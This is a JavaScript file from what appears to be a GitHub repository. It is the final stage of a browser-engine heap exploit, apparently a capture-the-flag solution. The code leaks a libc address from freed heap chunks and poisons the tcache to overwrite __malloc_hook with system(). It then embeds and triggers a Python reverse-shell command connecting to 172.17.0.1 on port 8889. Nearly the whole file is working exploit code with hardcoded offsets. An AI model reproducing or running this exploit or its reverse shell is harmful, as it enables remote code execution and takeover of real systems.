-
Notifications
You must be signed in to change notification settings - Fork 1
/
rule-3.js
138 lines (117 loc) · 5.08 KB
/
rule-3.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
/**
* RULE 3
* Now we have a container that contains our freed fake heap chunks. We can get
* a lot of informations and we have an arbitrary write.
* There are thousands of ways to exploit, but changing __free_hook to system()
* is risky as hell because lots of things will get sent to system() before our
* payload. We therefore use __malloc_hook, and allocate an AB with the address
* or our payload instead of the size. That is, we set __malloc_hook to system,
* write our command in container, and we'll then create an AB of size
* container_addr so that it calls system(&container).
*/
function ptr(c, i) {
return c.slice(i, i + 8);
}
/**
* This should be improved by deducing &__malloc_hook from &main_arena, and
* finding out system() using a DB (https://github.com/niklasb/libc-database).
* Often, __malloc_hook is right before main_arena.
*/
const OFF_BASE_RW = 0x3eb000;
const OFF_MALLOC_HOOK = 0x3ebc30;
const OFF_SYSTEM = 0x4f4e0;
// Since it's the last rule, we throw instead of returning: it will be sent to
// our fake backend.
function main() {
// Find which container had his fake chunks modified by the free.
// Its fake SMALL bins are now either free or contain v8 values.
// The BIG chunk is in the tcache, we'll use it to write __malloc_hook.
for(var i = 0; i < containers.length; i++) {
leak = i64(ptr(containers[i], target_offsets[0] + 0x10));
if(leak.toString() != '0x0000000044440050') {
break;
}
}
if(i == containers.length)
return 'ERR_CONTAINER_NOT_FOUND';
var container = containers[i];
// DBG: Mark this container to find it via gdb
container[0] = 0xff;
var dleaks = new Array(0x1000).fill(new ArrayBuffer(0x10));
var k = 0;
var dbufs = [];
// We're looking to leak libc AND stack and overwrite both using tcache
var libc_leak;
find_leak: {
for(var hope = 0; hope < 10; hope++) {
// Look for a v8 heap address in 0x40 bins
for(i = 0; i < target_offsets.length; i++) {
dleaks[k++] = target_offsets[i];
for(var j = 0; j < 2; j++) {
var leak = ptr(container, target_offsets[i] + 0x10 + j * 8);
dleaks[k++] = i64(leak).toString();
// Half-decent heuristic
if(
leak[7] == 0x00
&& leak[6] == 0x00
&& leak[5] == 0x7f
&& leak[0] != 0x00
) {
// MASK
leak[0] = 0
leak[1] &= 0xf0;
libc_leak = i64(leak);
break find_leak;
}
}
}
// Creates SMALL chunks
dbufs.push(new ArrayBuffer(0x05));
}
}
if(!libc_leak)
throw 'ERR_NO_LIBC_LEAK'; // dleaks.slice(0, k);
// Compute addresses
// We don't point to &__malloc_hook but a bit before, because our block
// would overwrite a part of main_arena with zeros.
var addr_malloc_hook = i64(libc_leak);
addr_malloc_hook.assignAdd(
addr_malloc_hook, OFF_MALLOC_HOOK - OFF_BASE_RW - (FAKE_BIG_SIZE - 0x10)
);
var addr_system = i64(libc_leak);
addr_system.assignSub(addr_system, OFF_BASE_RW - OFF_SYSTEM);
var tcache_BIG_offset = target_offsets[target_offsets.length - 1] + 0x10;
// Overwrite tcache_entry->next of the BIG chunk
container.set(addr_malloc_hook.bytes(), tcache_BIG_offset);
// There are at most 7 entries in the 0x100 tcache. We control one of them.
// We have overwritten the tcache_entry->next pointer of said chunk.
// Just allocate until the next blocks get allocated at our desired address.
// We could get screwed if our chunk is the last of the 7.
for(var i=0; i < 6; i++) {
new ArrayBuffer(FAKE_BIG_SIZE - 8);
if(i64(ptr(container, tcache_BIG_offset)).toString() != addr_malloc_hook.toString()) {
break;
}
}
if(i == 6)
throw 'ERR_WRITE_0x100';
// Convert the Int64 address into a JS integer. It fits.
var cmd_addr = parseInt(container_addr.toString().substr(6), 16);
// Write our command at the beginning of the container.
// TODO we should reserve a space for this, this overwrites fake chunks...
var cmd = 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",8889));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'';
for(var j=0; j < cmd.length; j++) {
container[j] = cmd.charCodeAt(j);
}
container[j] = 0;
// Overwrite __malloc_hook with system, and allocate a buffer of size equal
// to the address of the container, so that system gets called instead with
// a pointer to the cmd. The next malloc call will crash.
new Uint8Array(new ArrayBuffer(FAKE_BIG_SIZE - 8)).set(
addr_system.bytes(),
0xf0
);
new ArrayBuffer(cmd_addr);
throw 'ERR_NO_SYSTEM_CALL';
}
main = main();